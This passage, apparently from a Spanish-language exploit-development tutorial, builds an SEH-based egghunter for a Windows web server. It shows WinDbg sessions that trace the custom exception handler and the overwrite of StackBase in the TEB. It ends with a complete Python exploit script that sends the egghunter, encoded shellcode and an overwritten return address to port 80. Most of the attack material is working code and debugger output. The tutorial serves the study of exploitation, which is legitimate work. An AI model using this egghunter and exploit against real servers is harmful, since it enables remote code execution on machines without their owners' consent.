eip=77d26b64 esp=0367e518 ebp=0367e5a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
ntdll!RtlDispatchException+0x154:
77d26b64 3bcb cmp ecx,ebx
0:000> r ecx; r ebx
ecx=0367eac6
ebx=03680000
0:000> !teb
TEB at 00287000
ExceptionList: 0367ea2c
StackBase: 03680000
StackLimit: 0367c000
SubSystemTib: 00000000
FiberData: 00001e00
ArbitraryUserPointer: 00000000
Self: 00287000
EnvironmentPointer: 00000000
ClientId: 00001680 . 000012f8
RpcHandle: 00000000
Tls Storage: 00650cf0
PEB Address: 00282000
LastErrorValue: 0
LastStatusValue: c000000d
Count Owned Locks: 0
HardErrorMode: 0
Para pasar la comprabación podemos sobrescribir el StackBase
con un valor que tendria que ser menor que nuestra función _except_handler
pero superior a la estructura _EXCEPTION_REGISTRATION_RECORD
, el egghunter ya toma la funcion _except_handler
dinamicamente por lo que podriamos restarle 4
bytes y usarlo para sobrescribir StackBase
como se muestra en las ultimas 3 instrucciones añadidas
.seh:
mov eax, 0x74303077 ; $eax = "w00t"
pop ecx ; $ecx = handler
push ecx ; push handler
push 0xffffffff ; push nseh
xor ebx, ebx ; $ebx = 0x0
mov [fs:ebx], esp ; overwrite ExceptionList in TEB
sub ecx, 0x4 ; sub 0x4 (SEH Handler > StackBase)
add ebx, 0x4 ; add 0x4 to point to StackBase
mov [fs:ebx], ecx ; overwrite StackBase to pass check
Nuestro egghunter
final se ve de esta forma, solo necesitamos compilarlo y obtenerlo en un formato que podamos usar en python
como hemos hecho antes
global _start:
_start:
jmp .addr ; jmp to call .seh
.seh:
mov eax, 0x74303077 ; $eax = "w00t"
pop ecx ; $ecx = handler
push ecx ; push handler
push 0xffffffff ; push nseh
xor ebx, ebx ; $ebx = 0x0
mov [fs:ebx], esp ; overwrite ExceptionList in TEB
sub ecx, 0x4 ; sub 0x4 (SEH Handler > StackBase)
add ebx, 0x4 ; add 0x4 to point to StackBase
mov [fs:ebx], ecx ; overwrite StackBase to pass check
.find:
push 0x2 ; push 0x2
pop ecx ; $ecx = counter
mov edi, ebx ; $edi = address
repz scasd ; cmp eax, [edi]
jnz .loop ; if zf == 0 -> loop
jmp edi ; if zf == 1 -> exec
.page:
or bx, 0xfff ; get last address in page
.loop:
inc ebx ; increase memory counter
jmp .find ; loop to cmp
.addr:
call .seh ; call .seh to set handler
push 0xc ; push 0xc
pop ecx ; $ecx = 0xc
mov eax, [esp + ecx] ; $eax = structure for exception
mov cl, 0xb8 ; $ecx = offset to eip
add dword [eax + ecx], 0x6 ; add 0x6 to eip = .page
pop eax ; $eax = return value
add esp, 0x10 ; clear stack
push eax ; push return value
xor eax, eax ; $eax = 0x0
ret ; return to .page
❯ nasm -f elf egghunter.asm -o egghunter.o; ld egghunter.o -m elf_i386 -o egghunter
❯ objdump -d egghunter | grep '[0-9a-f]:' | grep -v 'egghunter' | cut -f2 -d: | cut -f1-6 -d ' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s
\xeb\x2a\xb8\x77\x30\x30\x74\x59\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3
Nuevamente ejecutamos el programa y corremos el exploit hasta llegar a la excepción
0:000> g
(21c0.478): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=02262ca0 ecx=0000000e edx=0454e508 esi=02262ca0 edi=0041703c
eip=0454ea8d esp=0454ea24 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0454ea8d cc int 3
0:000> g
(21c0.478): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=74303077 ebx=00000004 ecx=00000002 edx=0454e508 esi=02262ca0 edi=00000004
eip=0454eaac esp=0454ea1c ebp=41414141 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
0454eaac f3af repe scas dword ptr es:[edi]
Igual que antes establecemos un breakpoint
en el controlador pero esta vez si que lo alcanzamos, veamos como funciona el manejo de la excepción que se implementa
0:000> !exchain
0454ea1c: 0454eabf
Invalid exception stack at ffffffff
0:000> bp 0x0454eabf
0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=0454eabf edx=77128ac0 esi=00000000 edi=00000000
eip=0454eabf esp=0454e468 ebp=0454e488 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0454eabf 6a0c push 0Ch
Nuestro codigo inicia almacenando 0xc
en ecx
que usa como offset con el registro esp
para buscar el argumento en eax
con el puntero a la estructura CONTEXT
0:000> r
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=0454eabf edx=77128ac0 esi=00000000 edi=00000000
eip=0454eabf esp=0454e468 ebp=0454e488 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0454eabf 6a0c push 0Ch
0:000> p
eax=00000000 ebx=00000000 ecx=0454eabf edx=77128ac0 esi=00000000 edi=00000000
eip=0454eac1 esp=0454e464 ebp=0454e488 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0454eac1 59 pop ecx
0:000> p
eax=00000000 ebx=00000000 ecx=0000000c edx=77128ac0 esi=00000000 edi=00000000
eip=0454eac2 esp=0454e468 ebp=0454e488 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0454eac2 8b040c mov eax,dword ptr [esp+ecx] ss:002b:0454e474=0454e5bc
Sabemos que el valor eip
en la estructura CONTEXT
apunta a la instruccion que causó la excepción (repz scasd
), al restaurar el flujo de la ejecución nos gustaría que apuntara a .page
que ejecuta or bx, 0xfff
que esta 0x6
bytes después
0:000> p
eax=0454e5bc ebx=00000000 ecx=0000000c edx=77128ac0 esi=00000000 edi=00000000
eip=0454eac5 esp=0454e468 ebp=0454e488 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0454eac5 b1b8 mov cl,0B8h
0:000> dt ntdll!_CONTEXT @eax
+0x000 ContextFlags : 0x1007f
+0x004 Dr0 : 0
+0x008 Dr1 : 0
+0x00c Dr2 : 0
+0x010 Dr3 : 0
+0x014 Dr6 : 0
+0x018 Dr7 : 0
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : 0x2b
+0x090 SegFs : 0x53
+0x094 SegEs : 0x2b
+0x098 SegDs : 0x2b
+0x09c Edi : 4
+0x0a0 Esi : 0x2262ca0
+0x0a4 Ebx : 4
+0x0a8 Edx : 0x454e508
+0x0ac Ecx : 2
+0x0b0 Eax : 0x74303077
+0x0b4 Ebp : 0x41414141
+0x0b8 Eip : 0x454eaac
+0x0bc SegCs : 0x23
+0x0c0 EFlags : 0x10202
+0x0c4 Esp : 0x454ea1c
+0x0c8 SegSs : 0x2b
+0x0cc ExtendedRegisters : [512] "???"
0:000> u 0x454eaac
0454eaac f3af repe scas dword ptr es:[edi]
0454eaae 7507 jne 0454eab7
0454eab0 ffe7 jmp edi
0454eab2 6681cbff0f or bx,0FFFh
0454eab7 43 inc ebx
0454eab8 ebed jmp 0454eaa7
0454eaba e8d1ffffff call 0454ea90
0454eabf 6a0c push 0Ch
0:000> ? 0x0454eab2 - 0x0454eaac
Evaluate expression: 6 = 00000006
Resumiendo, cada que repz scasd
causa una excepción nuestro controlador personalizado lleva el flujo a .page
que aumenta la página hasta que esta sea valida
0:000> p
eax=0454e5bc ebx=00000000 ecx=000000b8 edx=77128ac0 esi=00000000 edi=00000000
eip=0454eac7 esp=0454e468 ebp=0454e488 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0454eac7 83040806 add dword ptr [eax+ecx],6 ds:002b:0454e674=0454eaac
0:000> p
eax=0454e5bc ebx=00000000 ecx=000000b8 edx=77128ac0 esi=00000000 edi=00000000
eip=0454eacb esp=0454e468 ebp=0454e488 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216
0454eacb 58 pop eax
0:000> dt ntdll!_CONTEXT @eax
+0x000 ContextFlags : 0x1007f
+0x004 Dr0 : 0
+0x008 Dr1 : 0
+0x00c Dr2 : 0
+0x010 Dr3 : 0
+0x014 Dr6 : 0
+0x018 Dr7 : 0
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : 0x2b
+0x090 SegFs : 0x53
+0x094 SegEs : 0x2b
+0x098 SegDs : 0x2b
+0x09c Edi : 4
+0x0a0 Esi : 0x2262ca0
+0x0a4 Ebx : 4
+0x0a8 Edx : 0x454e508
+0x0ac Ecx : 2
+0x0b0 Eax : 0x74303077
+0x0b4 Ebp : 0x41414141
+0x0b8 Eip : 0x454eab2
+0x0bc SegCs : 0x23
+0x0c0 EFlags : 0x10202
+0x0c4 Esp : 0x454ea1c
+0x0c8 SegSs : 0x2b
+0x0cc ExtendedRegisters : [512] "???"
0:000> u 0x454eab2
0454eab2 6681cbff0f or bx,0FFFh
0454eab7 43 inc ebx
0454eab8 ebed jmp 0454eaa7
0454eaba e8d1ffffff call 0454ea90
0454eabf 6a0c push 0Ch
0454eac1 59 pop ecx
0454eac2 8b040c mov eax,dword ptr [esp+ecx]
0454eac5 b1b8 mov cl,0B8h
Ya que entendimos como funcione el egghunter podemos deshabilitar
las excepciones y establecer un breakpoint
en el jmp edi
, al dejar que el programa corra llegamos al breakpoint que indica que en edi
se encuentra nuestro shellcode
0:000> sxd av
0:000> sxd gp
0:000> bc *
0:000> bp 0x0454eab0
0:000> g
Breakpoint 0 hit
eax=74303077 ebx=04a58183 ecx=00000000 edx=0454e508 esi=02262ca0 edi=04a5818b
eip=0454eab0 esp=0454ea1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0454eab0 ffe7 jmp edi {04a5818b}
0:000> u edi
04a5818b 43 inc ebx
04a5818c 43 inc ebx
04a5818d 43 inc ebx
04a5818e 43 inc ebx
04a5818f 43 inc ebx
04a58190 43 inc ebx
04a58191 43 inc ebx
04a58192 43 inc ebx
Al exploit anterior solo le cambiamos el egghunter
y ahora al ejecutarlo deberia de funcionar correctamente casi en cualquier sistema ya que no depende de la syscall
#!/usr/bin/python3
from pwn import remote, p32, asm
egg = b"w00t" * 2
egghunter = b"\xeb\x2a\xb8\x77\x30\x30\x74\x59\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"
shellcode = b""
shellcode += b"\xfc\xbb\xc2\x02\xd8\xe2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x3e\xea\x5a\xe2\xbe\xeb\x3a\x6a"
shellcode += b"\x5b\xda\x7a\x08\x28\x4d\x4b\x5a\x7c\x62\x20"
shellcode += b"\x0e\x94\xf1\x44\x87\x9b\xb2\xe3\xf1\x92\x43"
shellcode += b"\x5f\xc1\xb5\xc7\xa2\x16\x15\xf9\x6c\x6b\x54"
shellcode += b"\x3e\x90\x86\x04\x97\xde\x35\xb8\x9c\xab\x85"
shellcode += b"\x33\xee\x3a\x8e\xa0\xa7\x3d\xbf\x77\xb3\x67"
shellcode += b"\x1f\x76\x10\x1c\x16\x60\x75\x19\xe0\x1b\x4d"
shellcode += b"\xd5\xf3\xcd\x9f\x16\x5f\x30\x10\xe5\xa1\x75"
shellcode += b"\x97\x16\xd4\x8f\xeb\xab\xef\x54\x91\x77\x65"
shellcode += b"\x4e\x31\xf3\xdd\xaa\xc3\xd0\xb8\x39\xcf\x9d"
shellcode += b"\xcf\x65\xcc\x20\x03\x1e\xe8\xa9\xa2\xf0\x78"
shellcode += b"\xe9\x80\xd4\x21\xa9\xa9\x4d\x8c\x1c\xd5\x8d"
shellcode += b"\x6f\xc0\x73\xc6\x82\x15\x0e\x85\xc8\xe8\x9c"
shellcode += b"\xb0\xbf\xeb\x9e\xba\xef\x83\xaf\x31\x60\xd3"
shellcode += b"\x2f\x90\xc4\x2b\x7a\xb8\x6d\xa4\x23\x29\x2c"
shellcode += b"\xa9\xd3\x84\x73\xd4\x57\x2c\x0c\x23\x47\x45"
shellcode += b"\x09\x6f\xcf\xb6\x63\xe0\xba\xb8\xd0\x01\xef"
shellcode += b"\xdb\xb7\x91\x73\x35\x5d\x12\x11\x49\x9d\xe2"
shellcode += b"\xd9\x49\x9d\xe2\xd9"
offset = 253
junk = b"A" * (offset - len(egghunter))
ret = p32(0x00418674)
payload = b""
payload += egghunter
payload += junk
payload += ret
method = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")
content = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode
shell = remote("Windows", 80)
shell.sendline(content)